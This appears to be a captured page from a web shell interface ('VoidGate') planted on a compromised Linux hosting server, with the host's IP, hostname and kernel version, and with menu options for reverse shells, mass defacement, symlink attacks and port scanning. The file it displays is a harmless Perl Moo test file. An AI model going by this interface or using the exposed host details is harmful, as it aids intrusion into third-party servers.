ヤミRoot VoidGate
User / IP
:
216.73.216.2
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
.cpanm
/
work
/
1568630680.21759
/
Moo-2.003004
/
xt
/
Viewing: croak-locations.t
use Moo::_strictures; use Test::More; use lib 't/lib'; use ErrorLocation; use Moo::HandleMoose; location_ok <<'END_CODE', 'Moo::sification::unimport - Moo::HandleMoose enabled'; use Moo::sification (); Moo::sification->unimport; END_CODE location_ok <<'END_CODE', 'Moo::HandleMoose::inject_real_metaclass_for - Bad %TYPE_MAP value'; use Moo; use Moo::HandleMoose (); my $isa = sub { die "bad value" }; $Moo::HandleMoose::TYPE_MAP{$isa} = sub { return 1 }; has attr => (is => 'ro', isa => $isa); $PACKAGE->meta->name; END_CODE { local $TODO = "croaks in roles don't skip consuming class"; location_ok <<'END_CODE', 'Moo::Role::_inhale_if_moose - isa from type'; BEGIN { eval qq{ package ${PACKAGE}::Role; use Moose::Role; has attr1 => (is => 'ro', isa => 'HashRef'); 1; } or die $@; } use Moo; with "${PACKAGE}::Role"; package Elsewhere; $PACKAGE->new(attr1 => []); END_CODE } done_testing;
Coded With 💗 by
0x6ick